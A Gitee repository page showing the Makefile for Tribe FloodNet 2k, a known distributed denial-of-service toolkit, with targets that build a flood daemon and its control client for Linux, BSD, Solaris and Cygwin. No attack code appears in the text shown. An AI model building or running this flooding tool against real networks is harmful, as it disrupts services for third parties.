1 Star 0 Fork 3

天马星空/tfn2k

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
Makefile 829 Bytes
一键复制 编辑 原始数据 按行查看 历史
天马星空 提交于 2017-12-08 10:00 . OK
# Tribe FloodNet - 2k edition
# by Mixter <mixter@newyorkoffice.com>
# Generic Makefile
# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS = -lpthread
# Solaris (IRIX / AIX / HPUX ?)
#CC = gcc
#CFLAGS = -Wall -O3 -D ATTACKLOG=/dev/stdout
#CLIBS = -lnsl -lsocket
# Win32 (cygwin)
#CC = gcc
#CFLAGS = -Wall -DWINDOZE -O2
#CLIBS =
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
all: td tfn
clean:
@echo removing junk...
@rm -f tfn td mkpass disc pass.c *.exe *.o *~
tfn: agreed ${CLIENT_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${CLIENT_OBJ} -o tfn
strip tfn td
td: agreed ${SERVER_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${SERVER_OBJ} -o td -lpthread
strip td
agreed: disc
./disc
pass.c: mkpass
./mkpass
war:
@echo ...not love\!
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/anlang/tfn2k.git
git@gitee.com:anlang/tfn2k.git
anlang
tfn2k
tfn2k
master

搜索帮助